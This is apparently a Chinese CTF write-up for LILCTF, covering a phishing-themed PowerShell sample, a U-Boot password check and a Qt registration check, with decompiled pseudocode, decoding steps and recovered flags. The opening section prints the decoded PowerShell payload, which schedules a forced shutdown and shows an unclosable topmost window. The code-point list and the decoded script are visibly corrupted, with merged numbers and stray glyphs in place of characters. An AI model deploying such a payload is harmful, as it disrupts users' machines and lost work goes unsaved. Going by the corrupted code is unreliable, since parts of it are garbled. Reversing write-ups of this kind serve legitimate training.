36 68 101 98 117 103 80 114 101 102 101 114 101 110 99 101 32 61 32 36 69 114 114 111 114 65 99 116 105 111 110 80 114 101 102 101 114 101 110 99 101 32 61 32 36 86 101 114 98 111 115 101 80 114 101 102 101 114 101 110 99 101 32 61 32 36 87 97 114 110 105 110 103 80 114 101 102 101 114 101 110 99 101 32 61 32 34 83 105 108 101 110 116 108 121 67 111 110 116 105 110 117 101 34 13 1013 10 91 118 111 105 100 93 32 91 83 121 115 116 101 109 46 82 101 102 108 101 99 116 105 111 110 46 65 115 115 101 109 98 108 121 93 58 58 76 111 97 100 87 105 116 104 80 97 114 116 105 97 108 78 97 109 101 40 34 83 121 115 116 101 109 46 87 105 110 100 111 119 115 46 70 111 114 109 115 34 41 13 10 91 118 111 105 100 93 32 91 83 121 115 116 101 109 46 82 101 102 108 101 99 116 105 111 110 46 65 115 115 101 109 98 108 121 93 58 58 76 111 97 100 87 105 116 104 80 97 114 116 105 97 108 78 97 109 101 40 34 83 121 115 116 101 109 46 68 114 97 119 105 110 103 34 41 13 10 13 10115 104 117 116 100 111 119 110 32 47 115 32 47 116 32 54 48 48 32 62 36 78 117 108 108 32 50 62 38 49 13 10 13 10 36 70 111 114 109 32 61 32 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 87 105 110 100 111 119 115 46 70 111 114 109 115 46 70 111 114 109 13 10 36 70 111 114 109 46 84 101 120 116 32 61 32 34 67 105 97 108 108 111 65374 40 8736 183 969 60 32 41 8978 9733 34 13 10 36 70 111 114 109 46 83 116 97 114 116 80 111 115 105 116 105 111 110 32 61 32 34 77 97 110 117 97 108 34 13 10 36 70 111 114 109 46 76 111 99 97 116 105 111 110 32 61 32 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 68 114 97 119 105 110 103 46 80 111 105 110 116 40 52 48 44 32 52 48 41 13 10 36 70 111 114 109 46 83 105 122 101 32 61 32 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 68 114 97 119 105 110 103 46 83 105 122 101 40 55 50 48 44 32 52 56 48 41 13 10 36 70 111 114 109 46 77 105 110 105 109 97 108 83 105 122 101 32 61 32 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 68 114 97 119 105 110 103 46 83 105 122 101 40 55 50 48 44 32 52 56 48 41 13 10 36 70 111 114 109 46 77 97 120 105 109 97108 83 105 122 101 32 61 32 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 68 114 97 119 105 110 103 46 83 105 122 101 40 55 50 48 44 32 52 56 48 41 13 10 36 70 111 114 109 4670 111 114 109 66 111 114 100 101 114 83 116 121 108 101 32 61 32 34 70 105 120 101 100 68 105 97 108 111 103 34 13 10 36 70 111 114 109 46 66 97 99 107 67 111 108 111 114 32 61 32 34 35 48 4855 55 67 67 34 13 10 36 70 111 114 109 46 77 97 120 105 109 105 122 101 66 111 120 32 61 32 36 70 97 108 115 101 13 10 36 70 111 114 109 46 84 111 112 77 111 115 116 32 61 32 36 84 114 117 10113 10 13 10 13 10 36 102 70 49 73 65 52 57 71 32 61 32 34 76 73 76 67 84 70 123 56 69 95 118 108 103 73 76 65 110 55 95 64 54 97 73 78 53 116 95 80 72 73 83 72 73 110 103 125 34 13 10 36 102 70 49 73 65 52 57 71 32 61 32 34 78 48 112 101 34 13 10 13 10 13 10 36 76 97 98 101 108 49 32 61 32 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 87 105 110 100 111 119 115 46 70 111 114 109 115 46 76 97 98 101 108 13 10 36 76 97 98 101 108 49 46 84 101 120 116 32 61 32 34 58 41 34 13 10 36 76 97 98 101 108 49 46 76 111 99 97 116 105 111 110 32 61 32 78 101 119 45 7998 106 101 99 116 32 83 121 115 116 101 109 46 68 114 97 119 105 110 103 46 80 111 105 110 116 40 54 52 44 32 56 48 41 13 10 36 76 97 98 101 108 49 46 65 117 116 111 83 105 122 101 32 61 32 3684 114 117 101 13 10 36 76 97 98 101 108 49 46 70 111 114 101 67 111 108 111 114 32 61 32 34 87 104 105 116 101 34 13 10 36 76 97 98 101 108 49 46 70 111 110 116 32 61 32 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 68 114 97 119 105 110 103 46 70 111 110 116 40 34 67 111 110 115 111 108 97 115 34 44 32 54 52 41 13 10 13 10 36 76 97 98 101 108 50 32 61 32 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 87 105 110 100 111 119 115 46 70 111 114 109 115 46 76 97 98 101 108 13 10 36 76 97 98 101 108 50 46 84 101 120 116 32 61 32 34 36825 37324 27809 26377 32 102 108 97 103 65307 36825 20010 31383 21475 26159 24590 20040 20986 29616 30340 21602 65292 102 108 97 103 32 23601 22312 37027 37324 34 13 10 36 76 97 98 101 108 50 46 76 111 99 97 116 105 111 110 32 61 32 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 68 114 97 119 105 110 103 46 80 111 105 110 116 40 54 52 44 32 50 52 48 41 13 10 36 76 97 98 101108 50 46 65 117 116 111 83 105 122 101 32 61 32 36 84 114 117 101 13 10 36 76 97 98 101 108 50 46 70 111 114 101 67 111 108 111 114 32 61 32 34 87 104 105 116 101 34 13 10 36 76 97 98 101 10850 46 70 111 110 116 32 61 32 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 68 114 97 119 105 110 103 46 70 111 110 116 40 34 24494 36719 38597 40657 34 44 32 49 54 41 13 10 13 10 36 76 97 98 101 108 51 32 61 32 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 87 105 110 100 111 119 115 46 70 111 114 109 115 46 76 97 98 101 108 13 10 36 76 97 98 101 108 51 46 84 101 120 116 32 61 32 34 20320 30340 30005 33041 23558 22312 32 49 48 32 20998 38047 21518 20851 26426 65292 35831 20445 23384 20320 30340 24037 20316 34 13 10 36 76 97 98 101 108 51 46 76 111 99 97 116 105 111 110 32 61 32 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 68 114 97 119 105 110 103 46 80 111 105 110 116 40 54 52 44 32 51 48 48 41 13 10 36 7697 98 101 108 51 46 65 117 116 111 83 105 122 101 32 61 32 36 84 114 117 101 13 10 36 76 97 98 101 108 51 46 70 111 114 101 67 111 108 111 114 32 61 32 34 87 104 105 116 101 34 13 10 36 76 97 98 101 108 51 46 70 111 110 116 32 61 32 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 68 114 97 119 105 110 103 46 70 111 110 116 40 34 24494 36719 38597 40657 34 44 32 49 5441 13 10 13 10 36 70 111 114 109 46 67 111 110 116 114 111 108 115 46 65 100 100 82 97 110 103 101 40 64 40 36 76 97 98 101 108 49 44 32 36 76 97 98 101 108 50 44 32 36 76 97 98 101 108 51 41 41 13 10 13 10 36 70 111 114 109 46 65 100 100 95 83 104 111 119 110 40 123 36 70 111 114 109 46 65 99 116 105 118 97 116 101 40 41 125 41 13 10 36 70 111 114 109 46 65 100 100 95 70 111 114 109 67 108 111 115 105 110 103 40 123 13 10 32 32 32 32 36 95 46 67 97 110 99 101 108 32 61 32 36 84 114 117 101 13 10 32 32 32 32 91 83 121 115 116 101 109 46 87 105 110 100 111 119 115 46 70 111 114 109 115 46 77 101 115 115 97 103 101 66 111 120 93 58 58 83 104 111 119 40 34 19981 20801 35768 20851 38381 65281 34 44 32 34 25552 31034 34 44 32 91 83 121 115 116 101 109 46 87 105 110 100 111 119 115 46 70 111 114 109 115 46 77 101 115 115 97 103 101 66 111 120 66 117 116 116 111 110 115 93 58 58 79 75 44 32 91 83 121 115 116 101 109 46 87 105 110 100 111 119 115 46 70 111 114 109 115 46 77 101 115 115 97 103 101 66 111 120 73 99 111 110 93 58 58 73 110 102 111 114 109 97 116 105 111 110 41 13 10 125 41 13 10 13 10 36 70 111 114 109 46 83 104 111 119 68 105 97 108111 103 40 41 32 124 32 79 117 116 45 78 117 108 108

解析unicode：

def decode_unicode_text(numbers_str):
    code_points = [int(x.strip()) for x in numbers_str.split() if x.strip().isdigit()]
    text = ''.join(chr(cp) for cp in code_points)
    return text

def main():
    unicode_numbers = """
    36 68 101 98 117 103 80 114 101 102 101 114 101 110 99 101 32 61 32 36 69...
    """
    unicode_numbers = unicode_numbers.strip()
    result = decode_unicode_text(unicode_numbers)
    print(result)

if __name__ == "__main__":
    main()

输出：

ϵDebugPreference = $ErrorActionPreference = $VerbosePreference = $WarningPreference = "SilentlyContinue"
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
➃hutdown /s /t 600 >$Null 2>&1

$Form = New-Object System.Windows.Forms.Form
$Form.Text = "Ciallo～(∠·ω< )⌒★"
$Form.StartPosition = "Manual"
$Form.Location = New-Object System.Drawing.Point(40, 40)
$Form.Size = New-Object System.Drawing.Size(720, 480)
$Form.MinimalSize = New-Object System.Drawing.Size(720, 480)
$Form.Maxim𗭔Size = New-Object System.Drawing.Size(720, 480)
$FormሾormBorderStyle = "FixedDialog"
$Form.BackColor = "#0ዷ7CC"
$Form.MaximizeBox = $False
$Form.TopMost = $Tru➁

$fF1IA49G = "LILCTF{8E_vlgILAn7_@6aIN5t_PHISHIng}"
$fF1IA49G = "N0pe"

$Label1 = New-Object System.Windows.Forms.Label
$Label1.Text = ":)"
$Label1.Location = New-Ἶject System.Drawing.Point(64, 80)
$Label1.AutoSize = ๤rue
$Label1.ForeColor = "White"
$Label1.Font = New-Object System.Drawing.Font("Consolas", 64)

$Label2 = New-Object System.Windows.Forms.Label
$Label2.Text = "这里没有 flag；这个窗口是怎么出现的呢，flag 就在那里"
$Label2.Location = New-Object System.Drawing.Point(64, 240)
$Lab𘫴2.AutoSize = $True
$Label2.ForeColor = "White"
$Labe⩢.Font = New-Object System.Drawing.Font("微软雅黑", 16)

$Label3 = New-Object System.Windows.Forms.Label
$Label3.Text = "你的电脑将在 10 分钟后关机，请保存你的工作"
$Label3.Location = New-Object System.Drawing.Point(64, 300)
$ḑbel3.AutoSize = $True
$Label3.ForeColor = "White"
$Label3.Font = New-Object System.Drawing.Font("微软雅黑", 1ᕁ

$Form.Controls.AddRange(@($Label1, $Label2, $Label3))

$Form.Add_Shown({$Form.Activate()})
$Form.Add_FormClosing({
    $_.Cancel = $True
    [System.Windows.Forms.MessageBox]::Show("不允许关闭！", "提示", [System.Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)
})

$Form.ShowDia𚙏g() | Out-Null

LILCTF{8E_vlgILAn7_@6aIN5t_PHISHIng}

Oh_My_Uboot

32位arm内核程序

启动方式：qemu-system-arm -machine vexpress-a9 -cpu cortex-a9 -kernel uboot -nographic -semihosting-config enable=on,target=native

调试方式：qemu-system-arm -machine vexpress-a9 -cpu cortex-a9 -kernel uboot -nographic -semihosting-config enable=on,target=native -gdb tcp::1234 -S

程序启动后输出：

U-Boot 2025.04 (Jul 01 2025 - 13:56:28 +0800)

DRAM:  128 MiB
WARNING: Caches not enabled
Core:  23 devices, 11 uclasses, devicetree: embed
Flash: 128 MiB
MMC:   mmci@5000: 0
Loading Environment from Flash... *** Warning - bad CRC, using default environment

In:    uart@9000
Out:   uart@9000
Err:   uart@9000
Net:   eth0: ethernet@3,02000000
Autoboot in 2 seconds
Hash sha256 not supported!
MMC Device 1 not found
no mmc device at slot 1
Card did not respond to voltage select! : -110
smc911x: detected LAN9118 controller
smc911x: phy initialized
smc911x: MAC 52:54:00:12:34:56
BOOTP broadcast 1
DHCP client bound to address 10.0.2.15 (8 ms)
*** Warning: no boot file name; using '0A00020F.img'
Using ethernet@3,02000000 device
TFTP from server 10.0.2.2; our IP address is 10.0.2.15
Filename '0A00020F.img'.
Load address: 0x60100000
Loading: *
TFTP error: 'Access violation' (2)
Not retrying...
smc911x: MAC 52:54:00:12:34:56
missing environment variable: pxefile_addr_r
smc911x: detected LAN9118 controller
smc911x: phy initialized
smc911x: MAC 52:54:00:12:34:56
BOOTP broadcast 1
DHCP client bound to address 10.0.2.15 (4 ms)
Using ethernet@3,02000000 device
TFTP from server 10.0.2.2; our IP address is 10.0.2.15
Filename 'boot.scr.uimg'.
Load address: 0x60100000
Loading: *
TFTP error: 'Access violation' (2)
Not retrying...
smc911x: MAC 52:54:00:12:34:56
smc911x: detected LAN9118 controller
smc911x: phy initialized
smc911x: MAC 52:54:00:12:34:56
BOOTP broadcast 1
DHCP client bound to address 10.0.2.15 (6 ms)
Using ethernet@3,02000000 device
TFTP from server 10.0.2.2; our IP address is 10.0.2.15
Filename 'boot.scr.uimg'.
Load address: 0x60100000
Loading: *
TFTP error: 'Access violation' (2)
Not retrying...
smc911x: MAC 52:54:00:12:34:56
cp - memory copy

Usage:
cp [.b, .w, .l] source target count
Wrong Image Type for bootm command
ERROR -91: can't get kernel image!
### Please input uboot password: ###

定位输入输出流（都在这个地址）：

1	MEMORY:67B1DDE8 aPleaseInputUbo DCB "### Please input uboot password: ###",0xA,0

逐步调试注意到67FC21E0出现了大量短循环还有cmp，反编译发现是strlen，求了输入值的长度：

int __fastcall strlen(unsigned __int8 *a1)
{
  unsigned __int8 *v1; // r3
  unsigned __int8 *v2; // r2

  v1 = a1;
  do
    v2 = v1;
  while ( *v1++ );
  return v2 - a1;
}

继续执行，发现进入了sub_67F71E3C，查xref找到程序主循环：

// positive sp value has been detected, the output may be wrong!
void __fastcall sub_67F71F80(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8)
{
  while ( *v8 )
  {
    sub_67F5FCFC((char *)v16, byte_67FCB357, 38, *v8);
    sub_67F5FC20(&v17, 0, 26);
    n37 = 0;
    v10 = v16;
    do
    {
      ++n37;
      *v10++ ^= 0x72u;
    }
    while ( n37 != 37 );
    n13 = ((int (__fastcall *)(unsigned __int8 *))sub_67F7686C)(v16);
    v12 = 0;
    while ( 1 )
    {
      n13 = ((int (__fastcall *)(int))sub_67F76848)(n13);
      n13_1 = n13;
      if ( (unsigned __int8)n13 == 13 )
        break;
      if ( (unsigned __int8)n13 == 8 )
      {
        if ( v12 > 0 )
        {
          sub_67F768E4((unsigned __int8)n13);
          sub_67F768E4(32);
          n13 = sub_67F768E4(8);
          --v12;
        }
      }
      else
      {
        n13 = sub_67F768E4(42);
        v14[v12 + 56] = n13_1;
        ++v12;
      }
    }
    v14[v12 + 56] = 0;
    sub_67F768E4(10);
    sub_67F71E3C(v16, (char *)v15);
    if ( !strcmp(v15, &a5w2b9pble6sic3_0) )
      *v8 = 0;
  }
  __asm { POP             {R4-R6,PC} }
}

找到密文：5W2b9PbLE6SIc3WP=X6VbPI0?X@HMEWH;，回看加密

char *__fastcall sub_67F71E3C(unsigned __int8 *a1, char *a2)
{
  n4_1 = strlen(a1);
  v5 = a1;
  n4 = n4_1;
  v7 = &a1[n4_1];
  while ( v5 != v7 )
    *v5++ ^= 0x72u;
  LOBYTE(n106) = 48;
  v9 = &v25;
  do
  {
    *v9++ = n106;
    n106 = (unsigned __int8)(n106 + 1);
  }
  while ( n106 != 106 );
  v10 = &a2[3 * (n4 / 2) + 3];
  v11 = n4 - 1;
  v12 = v10;
  sub_67F5FCFC(v10, (char *)a1, n4, 0x6Au);
  v13 = v10;
  v14 = &v10[v11];
  while ( v13 <= v14 )
  {
    if ( *v13 )
    {
      v19 = v13;
      v20 = 0;
      while ( v19 <= v14 )
      {
        v24 = ((__int16)v20 << 8) + (unsigned __int8)*v19;
        ((void (__fastcall *)(int, int))unk_67FC8600)(v24, 58);
        v20 = v21;
        *v19++ = ((int (__fastcall *)(int, int))sub_67FC8534)(v24, 58);
      }
      *--v12 = v23[v20 + 12];
    }
    else
    {
      ++v13;
    }
  }
  v15 = a2;
  v16 = 0;
  v17 = (char *)(v10 - v12);
  while ( (unsigned int)v17 > v16 )
  {
    v22 = v12[v16++];
    *v15++ = v22;
  }
  result = a2;
  *v15 = 0;
  return result;
}

先xor了0x72，然后是一个字母表为48~105（0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghi）的base58

LILCTF{Ub007_1s_v3ry_ez}

Qt_Creator

4015E0有反调试：

int __cdecl sub_4015E0(int a1, int *a2)
{
  if ( IsDebuggerPresent() )
    exit(0);
  QApplication::QApplication((QApplication *)&a1, a2, (char **)0x50C0C);
  sub_403400(v8, 0);
  QWidget::show(v4);
  v2 = QApplication::exec(v5);
  sub_4017A0(v8, v6);
  QApplication::~QApplication(v7);
  return v2;
}

加载函数：

int __thiscall sub_403400(void *this, int a2)

  QMainWindow::QMainWindow(a2, 0, v20);
  *(_DWORD *)this = &off_42EABC;
  *((_DWORD *)this + 2) = off_42EB98;
  *((_DWORD *)this + 6) = operator new(0x68u);
  *((_DWORD *)this + 8) = QString::fromAscii_helper((QString *)"Consolas", (const char *)8);
  *((_DWORD *)this + 9) = 14;
  *((_DWORD *)this + 10) = QString::fromAscii_helper((QString *)&unk_41B499, (const char *)3);
  *((_DWORD *)this + 11) = 0;
  v3 = (_DWORD *)operator new(0x3Cu);
  sub_40EE30(v3, 0);
  QDialog::exec(v21);
  sub_4145F0(this);
  v28[0] = (volatile signed __int32 *)QString::fromAscii_helper((QString *)"settings.ini", (const char *)0xC);
  v22 = operator new(8u);
  QSettings::QSettings(v22, v28, 1, 0);
  *((_DWORD *)this + 7) = v22;
  v4 = v28[0];
  if ( !*v28[0] || *v28[0] != -1 && (v5 = _InterlockedSub(v28[0], 1u), v4 = v28[0], !v5) )
  {
    n2 = 2;
    QArrayData::deallocate(v4);
  }
  v23 = (QSettings *)*((_DWORD *)this + 7);
  QVariant::QVariant((QVariant *)&unk_41B499, (const char *)n2);
  v26 = (volatile signed __int32 *)QString::fromAscii_helper((QString *)"config/dir", (const char *)0xA);
  QSettings::value(v23, (const QString *)&v26, (const QVariant *)v28);
  QVariant::toString((QVariant *)v27);
  v6 = (volatile signed __int32 *)*((_DWORD *)this + 10);
  *((_DWORD *)this + 10) = v25;
  if ( !*v6 || *v6 != -1 && !_InterlockedSub(v6, 1u) )
    QArrayData::deallocate(v6);
  QVariant::~QVariant(v16);
  v7 = v26;
  if ( !*v26 || *v26 != -1 && (v8 = _InterlockedSub(v26, 1u), v7 = v26, !v8) )
    QArrayData::deallocate(v7);
  ((void (__thiscall *)(volatile signed __int32 **, int))QVariant::~QVariant)(v28, v17);
  sub_402C00(this);
  sub_401890(this);
  sub_401AA0(0);
  v9 = (volatile signed __int32 *)*((_DWORD *)this + 10);
  v27[0] = v9;
  if ( *v9 != -1 && *v9 != 0 )
    _InterlockedAdd(v9, 1u);
  v10 = (volatile signed __int32 *)*((_DWORD *)this + 8);
  v28[0] = v10;
  if ( *v10 != -1 && *v10 != 0 )
    _InterlockedAdd(v10, 1u);
  v24 = operator new(0x34u);
  sub_408280(this, v27, v28, *((_DWORD *)this + 9));
  *((_DWORD *)this + 11) = v24;
  v11 = v28[0];
  if ( !*v28[0] || *v28[0] != -1 && (v12 = _InterlockedSub(v28[0], 1u), v11 = v28[0], !v12) )
    QArrayData::deallocate(v11);
  v13 = v27[0];
  if ( !*v27[0] || *v27[0] != -1 && (v14 = _InterlockedSub(v27[0], 1u), v13 = v27[0], !v14) )
    QArrayData::deallocate(v13);
  v19 = (QMetaObject::Connection *)*((_DWORD *)this + 11);
  QObject::connect(v28);
  QMetaObject::Connection::~Connection(v19);
  return QMainWindow::setCentralWidget(*((QMainWindow **)this + 11), (QWidget *)"2finishCreateTab(const QString &)");
}

密文在sub_40EE30：

int __thiscall sub_40EE30(_DWORD *this, int a2)
{
  QDialog::QDialog(a2, 0);
  *this = &off_42F394;
  this[2] = off_42F480;
  this[6] = operator new(0x24u);
  this[7] = QString::fromAscii_helper((QString *)"KJKDS", (const char *)5);
  this[8] = QString::fromAscii_helper((QString *)"GzR6`", (const char *)5);
  this[9] = QString::fromAscii_helper((QString *)"bsd5s", (const char *)5);
  this[10] = QString::fromAscii_helper((QString *)"1q`0t", (const char *)5);
  this[11] = QString::fromAscii_helper((QString *)"^wdsx", (const char *)5);
  this[12] = QString::fromAscii_helper((QString *)"`b1mw", (const char *)5);
  v3 = QString::fromAscii_helper((QString *)"2oh4mu|", (const char *)7);
  v4 = (volatile signed __int32 *)this[7];
  this[13] = v3;
  v104[0] = v4;
  if ( *v4 != -1 && *v4 != 0 )
    _InterlockedAdd(v4, 1u);
  QString::append((QString *)(this + 8), v70);
  v103[0] = v104[0];
  if ( *v104[0] != -1 && *v104[0] != 0 )
    _InterlockedAdd(v104[0], 1u);
  QString::append((QString *)(this + 9), v71);
  v102 = v103[0];
  if ( *v103[0] != -1 && *v103[0] != 0 )
    _InterlockedAdd(v103[0], 1u);
  QString::append((QString *)(this + 10), v72);
  v101 = v102;
  if ( *v102 != -1 && *v102 != 0 )
    _InterlockedAdd(v102, 1u);
  QString::append((QString *)(this + 11), v73);
  v100 = v101;
  if ( *v101 != -1 && *v101 != 0 )
    _InterlockedAdd(v101, 1u);
  QString::append((QString *)(this + 12), v74);
  v5 = v100;
  this[14] = v100;
  if ( *v5 != -1 && *v5 != 0 )
    _InterlockedAdd(v5, 1u);
  QString::append((QString *)(this + 13), v75);
  v6 = v100;
  if ( *v100 && (*v100 == -1 || (v6 = v100, _InterlockedSub(v100, 1u))) )
  {
    v7 = v101;
    v8 = *v101;
    if ( !*v101 )
      goto LABEL_76;
  }
  else
  {
    n4 = 4;
    QArrayData::deallocate(v6);
    v7 = v101;
    v8 = *v101;
    if ( !*v101 )
      goto LABEL_76;
  }
  if ( v8 != -1 )
  {
    v9 = _InterlockedSub(v7, 1u);
    v7 = v101;
    if ( !v9 )
    {
LABEL_76:
      n4 = 4;
      QArrayData::deallocate(v7);
      v10 = v102;
      v11 = *v102;
      if ( !*v102 )
        goto LABEL_77;
      goto LABEL_20;
    }
  }
  v10 = v102;
  v11 = *v102;
  if ( !*v102 )
    goto LABEL_77;
LABEL_20:
  if ( v11 == -1 || (v12 = _InterlockedSub(v10, 1u), v10 = v102, v12) )
  {
    v13 = v103[0];
    v14 = *v103[0];
    if ( !*v103[0] )
      goto LABEL_78;
    goto LABEL_23;
  }
LABEL_77:
  n4 = 4;
  QArrayData::deallocate(v10);
  v13 = v103[0];
  v14 = *v103[0];
  if ( !*v103[0] )
    goto LABEL_78;
LABEL_23:
  if ( v14 != -1 )
  {
    v15 = _InterlockedSub(v13, 1u);
    v13 = v103[0];
    if ( !v15 )
    {
LABEL_78:
      n4 = 4;
      QArrayData::deallocate(v13);
      v16 = v104[0];
      v17 = *v104[0];
      if ( *v104[0] )
        goto LABEL_26;
LABEL_79:
      n4 = 4;
      QArrayData::deallocate(v16);
      goto LABEL_28;
    }
  }
  v16 = v104[0];
  v17 = *v104[0];
  if ( !*v104[0] )
    goto LABEL_79;
LABEL_26:
  if ( v17 != -1 )
  {
    v18 = _InterlockedSub(v16, 1u);
    v16 = v104[0];
    if ( !v18 )
      goto LABEL_79;
  }
LABEL_28:
  v19 = (QVBoxLayout **)this[6];
  QObject::objectName((QObject *)this);
  v20 = v98;
  v21 = *((_DWORD *)v98 + 1);
  if ( !*v98 || *v98 != -1 && (v20 = v98, !_InterlockedSub(v98, 1u)) )
  {
    n4 = 4;
    QArrayData::deallocate(v20);
  }
  if ( !v21 )
  {
    QString::fromUtf8_helper((QString *)&v97, "Register", 8);
    QObject::setObjectName((QObject *)&v97, v80);
    v22 = v97;
    if ( !*v97 || *v97 != -1 && (v23 = _InterlockedSub(v97, 1u), v22 = v97, !v23) )
    {
      n4 = 4;
      QArrayData::deallocate(v22);
    }
  }
  v103[0] = (volatile signed __int32 *)400;
  v103[1] = (volatile signed __int32 *)300;
  QWidget::resize(this, v103);
  v24 = (QVBoxLayout *)operator new(0x18u);
  QWidget::QWidget(v24, this);
  *v19 = v24;
  QString::fromUtf8_helper((QString *)&v96, "widget", 6);
  QObject::setObjectName((QObject *)&v96, (const QString *)n4);
  v25 = v96;
  if ( !*v96 || *v96 != -1 && (v26 = _InterlockedSub(v96, 1u), v25 = v96, !v26) )
  {
    n2 = 2;
    QArrayData::deallocate(v25);
  }
  v27 = *v19;
  v104[0] = (volatile signed __int32 *)20;
  v104[1] = (volatile signed __int32 *)70;
  v104[2] = (volatile signed __int32 *)370;
  v104[3] = (volatile signed __int32 *)210;
  QWidget::setGeometry(v27, v104);
  v28 = (QVBoxLayout *)operator new(0x10u);
  QVBoxLayout::QVBoxLayout(*v19, (QWidget *)n2);
  v19[1] = v28;
  ((void (__stdcall *)(volatile signed __int32 **))QString::fromUtf8_helper)(&v95);
  ((void (__thiscall *)(QVBoxLayout *, volatile signed __int32 **))QObject::setObjectName)(v28, &v95);
  v29 = v95;
  if ( !*v95 || *v95 != -1 && (v30 = _InterlockedSub(v95, 1u), v29 = v95, !v30) )
    QArrayData::deallocate(v29);
  QLayout::setContentsMargins(0, 0, 0, 0);
  v31 = (QVBoxLayout *)operator new(0x10u);
  QVBoxLayout::QVBoxLayout(v61);
  v19[2] = v31;
  QString::fromUtf8_helper((QString *)&v94, "verticalLayout", 14);
  ((void (__thiscall *)(QVBoxLayout *, volatile signed __int32 **))QObject::setObjectName)(v31, &v94);
  v32 = v94;
  if ( !*v94 || *v94 != -1 && (v33 = _InterlockedSub(v94, 1u), v32 = v94, !v33) )
    QArrayData::deallocate(v32);
  v34 = (QVBoxLayout *)operator new(0x10u);
  QHBoxLayout::QHBoxLayout(v65);
  v19[3] = v34;
  QString::fromUtf8_helper((QString *)&v93, "horizontalLayout", 16);
  ((void (__thiscall *)(QVBoxLayout *, volatile signed __int32 **))QObject::setObjectName)(v34, &v93);
  v35 = v93;
  if ( !*v93 || *v93 != -1 && (v36 = _InterlockedSub(v93, 1u), v35 = v93, !v36) )
  {
    n4_1 = 4;
    QArrayData::deallocate(v35);
  }
  v37 = (QVBoxLayout *)operator new(0x18u);
  QLabel::QLabel(v37, *v19);
  v19[4] = v37;
  ((void (__stdcall *)(volatile signed __int32 **, const char *))QString::fromUtf8_helper)(&v92, "label");
  ((void (__thiscall *)(QVBoxLayout *, volatile signed __int32 **, int))QObject::setObjectName)(v37, &v92, n4_1);
  v38 = v92;
  if ( !*v92 || *v92 != -1 && (v39 = _InterlockedSub(v92, 1u), v38 = v92, !v39) )
    QArrayData::deallocate(v38);
  QBoxLayout::addWidget(v19[3], v19[4]);
  v40 = (QVBoxLayout *)operator new(0x18u);
  QLineEdit::QLineEdit(*v19, v62);
  v19[5] = v40;
  ((void (__stdcall *)(volatile signed __int32 **))QString::fromUtf8_helper)(&v91);
  ((void (__thiscall *)(QVBoxLayout *, volatile signed __int32 **))QObject::setObjectName)(v40, &v91);
  v41 = v91;
  if ( !*v91 || *v91 != -1 && (v42 = _InterlockedSub(v91, 1u), v41 = v91, !v42) )
    QArrayData::deallocate(v41);
  QBoxLayout::addWidget(v19[3], v19[5]);
  QBoxLayout::addLayout(v19[3], 0, v66);
  QBoxLayout::addLayout(v19[2], 0, 0);
  v43 = (QVBoxLayout *)operator new(0x10u);
  ((void (__thiscall *)(QVBoxLayout *, int, int))QHBoxLayout::QHBoxLayout)(v43, v63, v67);
  v19[6] = v43;
  QString::fromUtf8_helper((QString *)&v90, "horizontalLayout_2", 18);
  n2_1 = (int)&v90;
  ((void (__fastcall *)(QVBoxLayout *))QObject::setObjectName)(v43);
  v44 = v90;
  if ( !*v90 || *v90 != -1 && (v45 = _InterlockedSub(v90, 1u), v44 = v90, !v45) )
  {
    n2_1 = 2;
    QArrayData::deallocate(v44);
  }
  v46 = (QVBoxLayout *)operator new(0x18u);
  QPushButton::QPushButton(*v19, (QWidget *)n2_1);
  v19[7] = v46;
  ((void (__stdcall *)(volatile signed __int32 **))QString::fromUtf8_helper)(&v89);
  ((void (__thiscall *)(QVBoxLayout *, volatile signed __int32 **))QObject::setObjectName)(v46, &v89);
  v47 = v89;
  if ( !*v89 || *v89 != -1 && (v48 = _InterlockedSub(v89, 1u), v47 = v89, !v48) )
    QArrayData::deallocate(v47);
  QBoxLayout::addWidget(v19[6], v19[7]);
  v49 = (QVBoxLayout *)operator new(0x18u);
  ((void (__thiscall *)(QVBoxLayout *, QVBoxLayout *, int, int))QPushButton::QPushButton)(v49, *v19, v64, v68);
  v19[8] = v49;
  ((void (__stdcall *)(volatile signed __int32 **))QString::fromUtf8_helper)(&v88);
  ((void (__thiscall *)(QVBoxLayout *, volatile signed __int32 **))QObject::setObjectName)(v49, &v88);
  v50 = v88;
  if ( !*v88 || *v88 != -1 && (v51 = _InterlockedSub(v88, 1u), v50 = v88, !v51) )
    QArrayData::deallocate(v50);
  QBoxLayout::addWidget(v19[6], v19[8]);
  ((void (__thiscall *)(QVBoxLayout *, QVBoxLayout *, _DWORD, int))QBoxLayout::addLayout)(v19[1], v19[6], 0, v69);
  QCoreApplication::translate((QCoreApplication *)&v102, "Register", "login", 0, -1);
  QWidget::setWindowTitle((QWidget *)&v102, v82);
  v52 = v102;
  if ( !*v102 || *v102 != -1 && (v53 = _InterlockedSub(v102, 1u), v52 = v102, !v53) )
    QArrayData::deallocate(v52);
  QCoreApplication::translate((QCoreApplication *)&v101, "Register", "请输入注册码：", 0, -1);
  QLabel::setText((QLabel *)&v101, v83);
  v54 = v101;
  if ( !*v101 || *v101 != -1 && (v55 = _InterlockedSub(v101, 1u), v54 = v101, !v55) )
    QArrayData::deallocate(v54);
  QCoreApplication::translate((QCoreApplication *)&v100, "Register", "确定", 0, -1);
  QAbstractButton::setText((QAbstractButton *)&v100, v84);
  v56 = v100;
  if ( !*v100 || *v100 != -1 && (v57 = _InterlockedSub(v100, 1u), v56 = v100, !v57) )
    QArrayData::deallocate(v56);
  QCoreApplication::translate((QCoreApplication *)&v99, "Register", "返回", 0, -1);
